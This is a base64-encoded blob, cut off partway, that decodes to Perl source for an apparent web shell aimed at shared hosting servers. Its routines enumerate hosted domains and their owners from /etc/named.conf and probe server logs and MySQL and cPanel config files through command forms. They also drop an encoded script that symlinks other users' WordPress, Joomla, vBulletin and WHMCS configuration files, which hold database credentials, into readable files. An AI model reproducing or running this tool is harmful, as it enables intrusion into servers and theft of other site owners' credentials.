S0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KIyBUcnkgdG8gVmlldyBMaXN0IFVzZXIKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpzdWIgVmlld0RvbWFpblVzZXIKewoJb3BlbiAoZDBtYWlucywgJy9ldGMvbmFtZWQuY29uZicpIG9yICRlcnI9MTsKCW15IEBjbnpzID0gPGQwbWFpbnM+OwoJY2xvc2UgZDBtYWluczsKCW15ICRzdHlsZT0ibGluZSI7CglteSAkcmVzdWx0PSI8aDM+PGZvbnQgc3R5bGU9J2ZvbnQ6IDE1cHQgVmVyZGFuYTtjb2xvcjogMDBGRjAwOyc+QyYjNzg0MztuaCBCJiMyMjU7byAhIFNoZWxsICYjMjcyOyYjNzg3NTsgUyYjNzkxNzsgRCYjNzkwOTtuZyBUaGFtIEtoJiM3ODQzO28sIEtoJiMyNDQ7bmcgSGFjazwvZm9udD48L2gzPiI7CglpZiAoJGVycikKCXsKCQkkcmVzdWx0IC49ICAoJzxwPlRoJiM3ODQ1O3QgQiYjNzg0MTtpLCBLaCYjMjQ0O25nIFRoJiM3ODc1OyBWJiM0MzI7JiM3OTA3O3QgUXVhIE4mIzI0Mzs8L3A+Jyk7CgkJcmV0dXJuICRyZXN1bHQ7Cgl9ZWxzZQoJewoJCSRyZXN1bHQgLj0gJzx0YWJsZSBpZD0iZG9tYWluIj48dHI+PHRoPmQwbWFpbnM8L3RoPiA8dGg+VXNlcjwvdGg+PC90cj4nOwoJfQoJZm9yZWFjaCBteSAkb25lIChAY256cykKCXsKCQlpZigkb25lID1+IG0vLio/em9uZSAiKC4qPykiIHsvKQoJCXsJCgkJCSRzdHlsZT0gKCRzdHlsZSBlcSAibGluZSIpID8gIm5vdGxpbmUiOiAibGluZSI7CgkJCSRmaWxlbmFtZT0gdHJpbSgiL2V0Yy92YWxpYXNlcy8iLiQxKTsKCQkJJG93bmVyID0gZ2V0cHd1aWQoKHN0YXQoJGZpbGVuYW1lKSlbNF0pOwoJCQkkcmVzdWx0IC49ICc8dHIgc3R5bGU9IiRzdHlsZSIgd2lkdGg9NTAlPjx0ZD48YSBocmVmPSJodHRwOi8vJy4kMS4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kMS4nPC9hPjwvdGQ+PHRkPiAnLiRvd25lci4nPC90ZD48L3RyPic7CgkJfQoJfQoJJHJlc3VsdCAuPSAnPC90YWJsZT4nOwoJcmV0dXJuICRyZXN1bHQ7Cn0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFZpZXcgTG9nCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFZpZXdMb2cKewoJJEVuY29kZUN1cnJlbnREaXIgPSBFbmNvZGVEaXIoJEN1cnJlbnREaXIpOwoJaWYoJFdpbk5UKQoJewoJCXJldHVybiAiPGgyPjxmb250IHN0eWxlPSdmb250OiAyMHB0IFZlcmRhbmE7Y29sb3I6IDAwRkYwMDsnPkRvbid0IHJ1biBvbiBXaW5kb3dzPC9mb250PjwvaDI+IjsKCX0KCW15ICRyZXN1bHQ9Ijx0YWJsZT48dHI+PHRoPlBhdGggTG9nPC90aD48dGg+U3VibWl0PC90aD48L3RyPiI7CglteSBAcGF0aGxvZz0oCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2FwYWNoZS9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUyL2NvbmYvaHR0cGQuY29uZicsCgkJCScvdmFyL2xvZy9odHRwZC9lcnJvcl9sb2cnLAoJCQknL3Zhci9sb2cvaHR0cGQvYWNjZXNzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2Vycm9yX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9hcGFjaGUvbG9ncy9zdXBocF9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2FjY2Vzc19sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9lcnJvcl9sb2cnLAoJCQknL3Vzci9sb2NhbC9jcGFuZWwvbG9ncy9saWNlbnNlX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL2xvZ2luX2xvZycsCgkJCScvdXNyL2xvY2FsL2NwYW5lbC9sb2dzL3N0YXRzX2xvZycsCgkJCScvdmFyL2NwYW5lbC9jcGFuZWwuY29uZmlnJywKCQkJJy91c3IvbG9jYWwvcGhwL2xpYi9waHAuaW5pJywKCQkJJy91c3IvbG9jYWwvcGhwNS9saWIvcGhwLmluaScsCgkJCScvdmFyL2xvZy9teXNxbC9teXNxbC1iaW4ubG9nJywKCQkJJy92YXIvbG9nL215c3FsLmxvZycsCgkJCScvdmFyL2xvZy9teXNxbGRlcnJvci5sb2cnLAoJCQknL3Zhci9sb2cvbXlzcWwvbXlzcWwubG9nJywKCQkJJy92YXIvbG9nL215c3FsL215c3FsLXNsb3cubG9nJywKCQkJJy92YXIvbXlzcWwubG9nJywKCQkJJy92YXIvbGliL215c3FsL215LmNuZicsCgkJCScvZXRjL215c3FsL215LmNuZicsCgkJCScvZXRjL215LmNuZicsCgkJCSk7CglteSAkaT0wOwoJbXkgJHBlcm1zOwoJbXkgJHNsOwoJZm9yZWFjaCBteSAkbG9nIChAcGF0aGxvZykKCXsKCQlpZigtciAkbG9nKQoJCXsKCQkJJHBlcm1zPSJPSyI7CgkJfWVsc2UKCQl7CgkJCSRwZXJtcz0iPGZvbnQgc3R5bGU9J2NvbG9yOiByZWQ7Jz5DYW5jZWw8Zm9udD4iOwoJCX0KCQkkcmVzdWx0IC49PDxFTkQ7CgkJPHRyPgoKCQkJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgb25TdWJtaXQ9IkVuY29kZXIoJ2xvZyRpJykiPgoJCQk8dGQ+PGlucHV0IHR5cGU9InRleHQiIGlkPSJsb2ckaSIgbmFtZT0iYyIgdmFsdWU9InRhaWwgLTEwMDAwICRsb2cgfCBncmVwICcvaG9tZSciIHNpemU9JzUwJy8+PC90ZD4KCQkJPHRkPjxpbnB1dCBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIHZhbHVlPSJUcnkiIC8+PC90ZD4KCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiIC8+CgkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkRW5jb2RlQ3VycmVudERpciIgLz4KCQkJPC9mb3JtPgoJCQk8dGQ+JHBlcm1zPC90ZD4KCgkJPC90cj4KRU5ECgkJJGkrKzsKCX0KCSRyZXN1bHQgLj0iPC90YWJsZT4iOwoJcmV0dXJuICRyZXN1bHQ7Cn0Kc3ViIENvbmZpZ01hcmlvbnsKb3BlbiAoQ3JlYXRlTmV3LCI+Q29uZmlnLkpva2VyLVRIVCIpIG9yIGRpZSAiS2gmIzI0NDtuZyBUaCYjNzg3NTsgVCYjNzg0MTtvIEZpbGUiOwokY29uZmlnbWFyaW9uID0gIkl5RXZkWE55TDJKcGJpOXdaWEpzSUMxSkwzVnpjaTlzYjJOaGJDOWlZVzVrYldsdURRcHdjbWx1ZENBaVEyOXVkR1Z1ZEMxMGVYQmxPaUIwWlhoMEwyaDBiV3hjYmx4dUlqc05DbkJ5YVc1MEp6d2hSRTlEVkZsUVJTQm9kRzFzSUZCVlFreEpReUFpTFM4dlZ6TkRMeTlFVkVRZ1dFaFVUVXdnTVM0d0lGUnlZVzV6YVhScGIyNWhiQzh2UlU0aUlDSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OVVVaTk0YUhSdGJERXZSRlJFTDNob2RHMXNNUzEwY21GdWMybDBhVzl1WVd3dVpIUmtJajROQ2p4b2RHMXNJSGh0Ykc1elBTSm9kSFJ3T2k4dmQzZDNMbmN6TG05eVp5OHhPVGs1TDNob2RHMXNJajQ4YUdWaFpENDhiV1YwWVNCb2RIUndMV1Z4ZFdsMlBTSkRiMjUwWlc1MExVeGhibWQxWVdkbElpQmpiMjUwWlc1MFBTSmxiaTExY3lJZ0x6NE5Danh0WlhSaElHaDBkSEF0WlhGMWFYWTlJa052Ym5SbGJuUXRWSGx3WlNJZ1kyOXVkR1Z1ZEQwaWRHVjRkQzlvZEcxc095QmphR0Z5YzJWMFBYVjBaaTA0SWlBdlBqeDBhWFJzWlQ1RGIyNW1hV2N1U205clpYSXRWRWhVUEM5MGFYUnNaVDROQ2p4emRIbHNaU0IwZVhCbFBTSjBaWGgwTDJOemN5SStEUW91Ym1WM1UzUjViR1V4SUhzTkNpQm1iMjUwTFdaaGJXbHNlVG9nVkdGb2IyMWhPdzBLSUdadmJuUXRjMmw2WlRvZ2VDMXpiV0ZzYkRzTkNpQm1iMjUwTFhkbGFXZG9kRG9nWW05c1pEc05DaUJqYjJ4dmNqb2dJekF3UmtaR1Jqc05DaUFnZEdWNGRDMWhiR2xuYmpvZ1kyVnVkR1Z5T3cwS2ZRMEtQQzl6ZEhsc1pUNDhMMmhsWVdRK0p6c05Dbk4xWWlCc2FXeDdEUW9nSUNBZ0tDUjFjMlZ5S1NBOUlFQmZPdzBLSkcxemNpQTlJSEY0ZTNCM1pIMDdEUW9rYTI5c1lUMGtiWE55TGlJdklpNGtkWE5sY2pzTkNpUnJiMnhoUFg1ekwxeHVMeTluT3cwS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzWmlMMmx1WTJ4MVpHVnpMMk52Ym1acFp5NXdhSEFuTENScmIyeGhMaWQrZm5aQ2RXeHNaWFJwYmpFdFNtOXJaWEl0VkVoVUxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wybHVZMngxWkdWekwyTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpZCtmblpDZFd4c1pYUnBiakl0U205clpYSXRWRWhVTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJadmNuVnRMMmx1WTJ4MVpHVnpMMk52Ym1acFp5NXdhSEFuTENScmIyeGhMaWQrZm5aQ2RXeHNaWFJwYmpNdFNtOXJaWEl0VkVoVUxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyTmpMMmx1WTJ4MVpHVnpMMk52Ym1acFp5NXdhSEFuTENScmIyeGhMaWQrZm5aQ2RXeHNaWFJwYmpRdFNtOXJaWEl0VkVoVUxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpZCtmbEJvY0dKaU1TMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZabTl5ZFcwdmFXNWpiSFZrWlhNdlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUozNStVR2h3WW1JeUxVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuZm41WGIzSmtjSEpsYzNNeExVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWliRzluTDNkd0xXTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpZCtmbGR2Y21Sd2NtVnpjekl0U205clpYSXRWRWhVTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuZm41S2IyOXRiR0V4TFVwdmEyVnlMVlJJVkM1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5aWJHOW5MMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5mbjVLYjI5dGJHRXlMVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlxYjI5dGJHRXZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpZCtma3B2YjIxc1lUTXRTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM2RvYlM5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SjM1K1YyaHRNUzFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2ZDJodFl5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUozNStWMmh0TWkxS2IydGxjaTFVU0ZRdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmMzVndjRzl5ZEM5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SjM1K1YyaHRNeTFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2WTJ4cFpXNTBMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5mbjVYYUcwMExVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWlhV3hzYVc1bmN5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUozNStWMmh0TlMxS2IydGxjaTFVU0ZRdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlltbHNiR2x1Wnk5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SjM1K1YyaHROaTFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2WTJ4cFpXNTBjeTlqYjI1bWFXZDFjbUYwYVc5dUxuQm9jQ2NzSkd0dmJHRXVKMzUrVjJodE55MUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZkMmh0WTNNdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGlkK2ZsZG9iVGd0U205clpYSXRWRWhVTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDI5eVpHVnlMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5mbjVYYUcwNUxVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWhaRzFwYmk5amIyNW1MbkJvY0Njc0pHdHZiR0V1SjM1K05TMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZV1J0YVc0dlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUozNStOQzFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2WTI5dVpsOW5iRzlpWVd3dWNHaHdKeXdrYTI5c1lTNG5mbjVwYm5acGMybHZMVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlwYm1Oc2RXUmxMMlJpTG5Cb2NDY3NKR3R2YkdFdUozNStOeTFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2WTI5dWJtVmpkQzV3YUhBbkxDUnJiMnhoTGlkK2ZqZ3RTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMjFyWDJOdmJtWXVjR2h3Snl3a2EyOXNZUzRuZm41dGF5MXdiM0owWVd4bE1TMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZhVzVqYkhWa1pTOWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5mbjR4TWkxS2IydGxjaTFVU0ZRdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmMyVjBkR2x1WjNNdWNHaHdKeXdrYTI5c1lTNG5mbjVUYldZdFNtOXJaWEl0VkVoVUxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wybHVZMngxWkdWekwyWjFibU4wYVc5dWN5NXdhSEFuTENScmIyeGhMaWQrZm5Cb2NHSmlNeTFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YVc1amJIVmtaUzlrWWk1d2FIQW5MQ1JyYjJ4aExpZCtmbWx1Wm1sdWFYUjVMVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbE1pOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2ZG1JdmFXNWpiSFZrWlhNdlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUozNStka0oxYkd4bGRHbHVNUzFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpUSXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJsdVkyeDFaR1Z6TDJOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGlkK2ZuWkNkV3hzWlhScGJqSXRTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVeUx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzltYjNKMWJTOXBibU5zZFdSbGN5OWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5mbjUyUW5Wc2JHVjBhVzR6TFVwdmEyVnlMVlJJVkM1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5b2IyMWxNaThuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlkyTXZhVzVqYkhWa1pYTXZZMjl1Wm1sbkxuQm9jQ2NzSkd0dmJHRXVKMzUrZGtKMWJHeGxkR2x1TkMxS2IydGxjaTFVU0ZRdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmFHOXRaVEl2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpZCtmbEJvY0dKaU1TMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlRJdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMlp2Y25WdEwybHVZMngxWkdWekwyTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpZCtmbEJvY0dKaU1pMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlRJdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM2R3TFdOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGlkK2ZsZHZjbVJ3Y21WemN6RXRTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVeUx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlpYkc5bkwzZHdMV052Ym1acFp5NXdhSEFuTENScmIyeGhMaWQrZmxkdmNtUndjbVZ6Y3pJdFNtOXJaWEl0VkVoVUxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwyaHZiV1V5THljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUozNStTbTl2Yld4aE1TMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlRJdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMkpzYjJjdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGlkK2ZrcHZiMjFzWVRJdFNtOXJaWEl0VkVoVUxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwyaHZiV1V5THljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXFiMjl0YkdFdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGlkK2ZrcHZiMjFzWVRNdFNtOXJaWEl0VkVoVUxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwyaHZiV1V5THljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOTNhRzB2WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWQrZmxkb2JURXRTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVeUx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzkzYUcxakwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bmZuNVhhRzB5TFVwdmEyVnlMVlJJVkM1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5b2IyMWxNaThuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmMzVndjRzl5ZEM5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SjM1K1YyaHRNeTFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpUSXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJOc2FXVnVkQzlqYjI1bWFXZDFjbUYwYVc5dUxuQm9jQ2NzSkd0dmJHRXVKMzUrVjJodE5DMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlRJdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMkpwYkd4cGJtZHpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5mbjVYYUcwMUxVcHZhMlZ5TFZSSVZDNTBlSFFuS1RzTkNuTjViV3hwYm1zb0p5OW9iMjFsTWk4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZbWxzYkdsdVp5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUozNStWMmh0TmkxS2IydGxjaTFVU0ZRdWRIaDBKeWs3RFFwemVXMXNhVzVyS0NjdmFHOXRaVEl2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyTnNhV1Z1ZEhNdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGlkK2ZsZG9iVGN0U205clpYSXRWRWhVTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDJodmJXVXlMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5M2FHMWpjeTlqYjI1bWFXZDFjbUYwYVc5dUxuQm9jQ2NzSkd0dmJHRXVKMzUrVjJodE9DMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlRJdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMjl5WkdWeUwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bmZuNVhhRzA1TFVwdmEyVnlMVlJJVkM1MGVIUW5LVHNOQ25ONWJXeHBibXNvSnk5b2IyMWxNaThuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dllXUnRhVzR2WTI5dVppNXdhSEFuTENScmIyeGhMaWQrZmpVdFNtOXJaWEl0VkVoVUxuUjRkQ2NwT3cwS2MzbHRiR2x1YXlnbkwyaHZiV1V5THljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWhaRzFwYmk5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bmZuNDBMVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbE1pOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2WTI5dVpsOW5iRzlpWVd3dWNHaHdKeXdrYTI5c1lTNG5mbjVwYm5acGMybHZMVXB2YTJWeUxWUklWQzUwZUhRbktUc05Dbk41Yld4cGJtc29KeTlvYjIxbE1pOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YVc1amJIVmtaUzlrWWk1d2FIQW5MQ1JyYjJ4aExpZCtmamN0U205clpYSXRWRWhVTG5SNGRDY3BPdzBLYzNsdGJHbHVheWduTDJodmJXVXlMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5amIyNXVaV04wTG5Cb2NDY3NKR3R2YkdFdUozNStPQzFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpUSXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDIxclgyTnZibVl1Y0dod0p5d2thMjlzWVM0bmZuNXRheTF3YjNKMFlXeGxNUzFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpUSXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJsdVkyeDFaR1V2WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SjM1K01USXRTbTlyWlhJdFZFaFVMblI0ZENjcE93MEtjM2x0YkdsdWF5Z25MMmh2YldVeUx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl6WlhSMGFXNW5jeTV3YUhBbkxDUnJiMnhoTGlkK2ZsTnRaaTFLYjJ0bGNpMVVTRlF1ZEhoMEp5azdEUXB6ZVcxc2FXNXJLQ2N2YUc5dFpUSXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJsdVkyeDFaR1Z6TDJaMWJtTjBhVzl1Y3k1d2FIQW5MQ1JyYjJ4aExpZCtmbkJvY0dKaU15MUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlRJdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMmx1WTJ4MVpHVXZaR0l1Y0dod0p5d2thMjlzWVM0bmZuNXBibVpwYm1sMGVTMUtiMnRsY2kxVVNGUXVkSGgwSnlrN0RRcHplVzFzYVc1cktDY3ZhRzl0WlRNdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM1ppTDJsdVkyeDFaR1Z6TD